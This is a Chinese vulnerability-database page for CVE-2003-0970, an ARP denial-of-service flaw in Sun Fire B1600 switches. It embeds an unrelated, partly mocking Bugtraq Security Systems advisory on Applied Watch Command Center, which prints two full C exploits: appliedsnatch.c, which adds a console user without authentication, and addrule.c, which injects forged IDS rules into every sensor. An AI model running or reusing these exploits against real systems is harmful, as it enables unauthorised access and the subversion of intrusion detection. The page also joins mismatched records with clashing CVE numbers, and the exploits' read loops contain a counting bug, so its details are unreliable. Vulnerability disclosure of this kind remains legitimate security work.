CVE-2003-0970
CVSS5.0
发布时间 :2003-12-15 00:00:00
修订时间 :2008-09-05 16:35:41
NMCOP    

[原文]The Network Management Port on Sun Fire B1600 systems allows remote attackers to cause a denial of service (packet loss) via ARP packets, which cause all ports to become temporarily disabled.


[CNNVD]Sun Fire系统恶意ARP包远程拒绝服务攻击漏洞(CNNVD-200312-045)

        
        Sun Fire B1600是一款SUN出品的网络交换机 。
        Sun Fire B1600网络管理端口对ARP包请求,远程攻击者可以利用这个漏洞对设备进行拒绝服务攻击。
        当Sun Fire B1600网络管理端口接收到ARP包请求时,交换固件会不正确的关闭所有端口,导致拒绝服务。
        <*链接:http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/57430
        *>

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0970
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0970
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-045
(官方数据源) CNNVD

- 其它链接及资源

http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/57430
(VENDOR_ADVISORY)  SUNALERT  57430

- 漏洞信息

Sun Fire系统恶意ARP包远程拒绝服务攻击漏洞
中危 未知
2003-12-15 00:00:00 2005-10-20 00:00:00
远程  
        
        Sun Fire B1600是一款SUN出品的网络交换机 。
        Sun Fire B1600网络管理端口对ARP包请求,远程攻击者可以利用这个漏洞对设备进行拒绝服务攻击。
        当Sun Fire B1600网络管理端口接收到ARP包请求时,交换固件会不正确的关闭所有端口,导致拒绝服务。
        <*链接:http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/57430
        *>

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 关闭Sun Fire B1600网络管理接口或使用串口进行登录管理。
        厂商补丁:
        Sun
        ---
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://sunsolve.sun.com/security

- 漏洞信息 (F32282)

_BSSADV-0000.txt (PacketStormID:F32282)
2003-12-01 00:00:00
The Bugtraq Team  bugtraq.org
exploit,remote,vulnerability
CVE-2003-0970,CVE-2003-0971
[点击下载]

Bugtraq Security Systems Security Advisory - Multiple vulnerabilities have been discovered in the Applied Watch Command Center IDS. Two exploits have been released to demonstrate these flaws. The first, appliedsnatch.c, allows a remote attacker to add a user to the console without having to authenticate to the system. The second, addrule.c, allows a remote attacker to add custom IDS alerts to all sensor nodes in a network, enabling a human denial-of-service attack by making good packets look bad.

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	        Bugtraq Security Systems, Incorporated
 			    www.bugtraq.org

                           Security Advisory

Advisory Name: Multiple Issues in Applied Watch Command Center
 Release Date: 11/27/2003
  Application: Applied Watch
     Platform: Linux (IA32)
               Linux (sparc)
	       Linux (sparc64)
	       Linux (hppa)
	       Linux (ppc)
	       Linux (xbox)
	       Linux (IA64)
	       SUN Solaris (IA32)
	       SUN Solaris (sparc)
	       SUN Solaris (sparc64)
	       OpenBSD (386)
               HPUX (hppa)
	       HPUX (IA64)
               Compaq True64
	       Microsoft Windows NT (Alpha)
	       Microsoft Windows NT (IA32)
     Severity: Secure protocol implementation weaknesses, allows for
               authentication bypass and compromise of IDS nodes.
       Author: The Bugtraq Team, Collectively  [bugtraq@bugtraq.org]
Vendor Status: Patches pending.
CVE Candidate: CAN-2003-0970 - Authentication Bypass to Add IDS Rules
               CAN-2003-0971 - Authentication Bypass to Add Users
    Reference: www.bugtraq.org/advisories/_BSSADV-0000.txt 


Overview:
      The Applied Watch Command Center boasts the industry's first
truly OS-native platform for managing network threats in real-time.  It
frees users from the unreliable, more difficult, and less-secure 
Web-based monitoring enviornment of Snort IDS sensors.  From a central,
desktop console Supporting Mac, Linux, Unix, and Windows, thousands of 
IDS agents and the server can be monitored.  The Command Center gives 
you these benefits:

      1. Interprets alerts generated by third-party solutions, parsing
         the alerts into high, medium, and low priority;
      2. Allows you to identify false positives;
      3. Lets you store notes on events to prevent duplication of 
         effort, saving valuable man-hours;
      4. Provides greater security with an OS-native, desktop console;
      5. Lets you avoid the high cost of Security Information Management
         Systems (SIMs); and
      6. Reduces your IDS cost of ownership.

      It should also be noted that the lead developer of this system is
named Jason Ish, who is a member of the core OpenBSD development team
and is therefor a security expert.  He has a son named Theo, named after
the great pioneer of proactive security, Theo Deraadt.

      There exist a number of vulnerabilities in the various components
of the Applied Watch software suite; this advisory being the first of 
many to come regarding the various logic-related security vulnerabilities
in the software.  After all such problems are eliminated from the codebase,
we will begin releasing another set of advisories concerning multiple 
instances in the code that allow for the remote execution of arbitrary code
throughout the various components of this system.


Details:

[1] Adding a User

Using the attached program, appliedsnatch.c, a malicious individual on a
network protected by the Applied Watch Solution can add new users to a 
console, without having to authenticate to the system.

- --- begin appliedsnatch.c ---

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>

#define PUT_UINT32(i, val)\
	{\
	  buf[(i) ++] = ((val) >> 24) & 0xff;\
	  buf[(i) ++] = ((val) >> 16) & 0xff;\
	  buf[(i) ++] = ((val) >> 8) & 0xff;\
	  buf[(i) ++] = (val) & 0xff;\
	}

int main(int argc, char *argv[])
{
  unsigned char *buf;
  unsigned int idx, i;
  size_t userlen, passlen, buflen, lenidx;
  int sock;
  struct sockaddr_in sin;
  unsigned char respbuf[28];
  ssize_t n;
  SSL_CTX *sslctx;
  SSL *ssl;
  
  if (argc != 5) { fprintf(stderr, "usage: %s <host> <port> <user> <pass>\n", argv[0]); exit(1); }
  userlen = strlen(argv[3]);
  passlen = strlen(argv[4]);
  buf = malloc(buflen = 12 + 4 + userlen + 4 + 4 + passlen + 4 + 4 + 4);
  memset(buf, 0, buflen);
  idx = 0;
  PUT_UINT32(idx, 0xbabe0001); /* 0xbabe0002 for other protocol ver */
  PUT_UINT32(idx, 0x6a);
  lenidx = idx;
  PUT_UINT32(idx, 0xf00fc7c8);
  //PUT_UINT32(idx, 0); /* uncomment for other protocol ver */
  PUT_UINT32(idx, userlen);
  memcpy(&buf[idx], argv[3], userlen); idx += userlen;
  idx |= 3; idx ++;
  PUT_UINT32(idx, passlen);
  memcpy(&buf[idx], argv[4], passlen); idx += passlen;
  idx |= 3; idx ++;
  PUT_UINT32(idx, 0x1);
  PUT_UINT32(idx, 0x1);
  PUT_UINT32(lenidx, idx);
  printf("connecting\n");
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(atoi(argv[2]));
  if ((sin.sin_addr.s_addr = inet_addr(argv[1])) == -1)
  {
    struct hostent *he;
    
    if ((he = gethostbyname(argv[1])) == NULL) { perror("gethostbyname()"); exit(1); }
    memcpy(&sin.sin_addr, he->h_addr, 4);
  }
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) { perror("connect()"); exit(1); }
  printf("doing ssl handshake\n");
  SSL_load_error_strings();
  SSL_library_init();
  if ((sslctx = SSL_CTX_new(SSLv23_client_method())) == NULL) { fprintf(stderr, "SSL_CTX_new()\n"); exit(1); }
  if ((ssl = SSL_new(sslctx)) == NULL) { fprintf(stderr, "SSL_new()\n"); exit(1); }
  if (SSL_set_fd(ssl, sock) != 1) { fprintf(stderr, "SSL_set_fd()\n"); exit(1); }
  if (SSL_connect(ssl) != 1) { fprintf(stderr, "SSL_connect()\n"); exit(1); }
  printf("sending %u bytes:\n", idx);
  for (i = 0; i < idx; i ++) printf("%.2x ", buf[i]);
  if (SSL_write(ssl, buf, idx) != idx) { perror("write()"); exit(1); }
  printf("\nreading:\n");
  i = 0;
  while (i < sizeof(respbuf))
  {
    if ((n = SSL_read(ssl, &respbuf[i], sizeof(respbuf) - i)) < 0) { perror("read()"); exit(1); }
    i -= n;
  }
  for (i = 0; i < sizeof(respbuf); i ++) printf("%.2x ", respbuf[i]);
  printf("\n");
  printf("adding user \"%s\" with password \"%s\" %s\n", argv[3], argv[4], (memcmp(&respbuf[16], "\x00\x00\x00\x00", 4) == 0)? "succeeded" : "failed");
  SSL_shutdown(ssl);
  close(sock);
  return 0;
}

- --- end appliedsnatch.c ---


[2] Adding a Rule

Using the second attached program, addrule.c, a malicious individual can
introduce custom IDS alerts to all sensor nodes on a network, allowing a
human denial-of-service attack against the security experts monitoring the
console.  This is a valid technique for subverting intrusion detection 
systems.  This is also a demonstration of the "sometimes good packets look
like bad packets, while bad packets go unnoticed by the intrusion detection
system" concept.

- --- begin addrule.c ---

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>

#define PUT_UINT32(i, val)\
	{\
	  buf[(i) ++] = ((val) >> 24) & 0xff;\
	  buf[(i) ++] = ((val) >> 16) & 0xff;\
	  buf[(i) ++] = ((val) >> 8) & 0xff;\
	  buf[(i) ++] = (val) & 0xff;\
	}

int main(int argc, char *argv[])
{
  unsigned char *buf;
  unsigned int idx, i;
  size_t rulelen, buflen, lenidx;
  int sock;
  struct sockaddr_in sin;
  unsigned char respbuf[28];
  ssize_t n;
  SSL_CTX *sslctx;
  SSL *ssl;
  unsigned char *ruleset = "alert tcp any any -> any any (msg: \"*GOBBLE* *GOBBLE* *GOBBLE* *GOBBLE* \\:PpppppPPppppppPPPPPPpppp\";)";
  
  if (argc != 3) { fprintf(stderr, "usage: %s <host> <port>\n", argv[0]); exit(1); }
  rulelen = strlen(ruleset);
  buf = malloc(buflen = 12 + 4 + 4 + 4 + rulelen + 4);
  memset(buf, 0, buflen);
  idx = 0;
  PUT_UINT32(idx, 0xbabe0001); /* 0xbabe0002 for other protocol ver */
  PUT_UINT32(idx, 0x6f);
  lenidx = idx;
  PUT_UINT32(idx, 0xf00fc7c8);
  //PUT_UINT32(idx, 0); /* uncomment for other protocol ver */
  PUT_UINT32(idx, 0);
  PUT_UINT32(idx, 1);
  PUT_UINT32(idx, rulelen);
  memcpy(&buf[idx], ruleset, rulelen); idx += rulelen;
  idx |= 3; idx ++;
  PUT_UINT32(lenidx, idx);
  printf("connecting\n");
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(atoi(argv[2]));
  if ((sin.sin_addr.s_addr = inet_addr(argv[1])) == -1)
  {
    struct hostent *he;
    
    if ((he = gethostbyname(argv[1])) == NULL) { perror("gethostbyname()"); exit(1); }
    memcpy(&sin.sin_addr, he->h_addr, 4);
  }
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) { perror("connect()"); exit(1); }
  printf("doing ssl handshake\n");
  SSL_load_error_strings();
  SSL_library_init();
  if ((sslctx = SSL_CTX_new(SSLv23_client_method())) == NULL) { fprintf(stderr, "SSL_CTX_new()\n"); exit(1); }
  if ((ssl = SSL_new(sslctx)) == NULL) { fprintf(stderr, "SSL_new()\n"); exit(1); }
  if (SSL_set_fd(ssl, sock) != 1) { fprintf(stderr, "SSL_set_fd()\n"); exit(1); }
  if (SSL_connect(ssl) != 1) { fprintf(stderr, "SSL_connect()\n"); exit(1); }
  printf("sending %u bytes:\n", idx);
  for (i = 0; i < idx; i ++) printf("%.2x ", buf[i]);
  if (SSL_write(ssl, buf, idx) != idx) { perror("write()"); exit(1); }
  printf("\nreading:\n");
  i = 0;
  while (i < sizeof(respbuf))
  {
    if ((n = SSL_read(ssl, &respbuf[i], sizeof(respbuf) - i)) < 0) { perror("read()"); exit(1); }
    i -= n;
  }
  for (i = 0; i < sizeof(respbuf); i ++) printf("%.2x ", respbuf[i]);
  printf("\n");
  printf("adding nasty ruleset %s\n", (memcmp(&respbuf[16], "\x00\x00\x00\x00", 4) == 0)? "succeeded" : "failed");
  SSL_shutdown(ssl);
  close(sock);
  return 0;
}

- --- end addrule.c ---


Vendor Response:
     Bugtraq Security have attempted to contact the vendor multiple
times since the discovery of these vulnerabilities without success.  A
public statement issued by the founder of the company, Eric Hines, helps
us understand why the company was unavailable for comment at the time:

     "You've got to realize that these people are walking around with
exploits that vendors haven't even heard of yet.  They're pissed and 
they've got this almost God-like power that enables them to break into
any network that they want," Hines said.  He reported that FateLabs.com
was knocked offline last week by a denial-of-service attack immediately
after the security firm published an advisory about a security bug.

     We expect that once their network recovers from said incident, that
they will issue binary patches to both their clients and help reduce the
threat of compromise against those networks. Undoubtably they are aware
of these vulnerabilities already, and were hoping they would be brought
to public attention as, according to their website, they are "soldiers
for full disclosure".

ThreatCon:
      The release of this information and exploits increases the Global
ThreatCon Level to a record-breaking index of 9/13 (more dangerous than
normal) level.  We hope that Applied Watch will release their patches 
soon so that the ThreatCon can be lowered to a more reasonable level.  If
you have any questions regarding the Global ThreatCon, please visit
	http://www.bugtraq.org/threatcon.html


Recommendation:
      If the security of your network is required, then Fatelabs /
AppliedWatch products should be removed or disabled on the host in
question.  If it is not required, enterprises should deploy vendor patches
for the above vulnerabilities when they become available.  In addition,
enterprises should look to remove all default services if not required in
production systems or adequately protect those that are required and 
undertake other obvious security measures.

Common Vulnerabilities and Exposures (CVE) Information:

The Common Vulnerabilities and Exposures (CVE) project has assigned 
the following names to these issues.  These are candidates for 
inclusion in the CVE list (http://cve.mitre.org), which standardizes 
names for security problems.

  CAN-2003-0960 - Logical error in Applied Watch Console allowing user-adds
  CAN-2003-0961 - Logical error in Applied Watch Nodes allowing rule-adds

Bugtraq Security Systems Vulnerability Reporting Policy: 
      http://www.bugtraq.org/research/policy/

Bugtraq Security Systems Advisory Archive:
      http://www.bugtraq.org/advisories.html

Bugtraq Security Systems PGP Key:
      http://www.bugtraq.org/pgp_key.asc

Bugtraq Security Systems is currently seeking application security experts 
to fill several consulting positions.  Applicants should have strong 
application development skills and be able to perform application security
design reviews, code reviews, and application penetration testing.  Please
send resumes to jobs@bugtraq.org

Copyright 2003 Bugtraq Security Systems. All rights reserved.
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- 漏洞信息

2864
Sun Fire Blade System Chassis ARP Packet DoS
Denial of Service
Loss of Availability

- 漏洞描述

Sun Fire B1600 systems have a flaw that causes all ports to temporarily stop responding. This is triggered when a malicious attacker sends an ARP packet to the Network Management port of the system.

- 时间线

2003-11-26 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Sun Microsystems has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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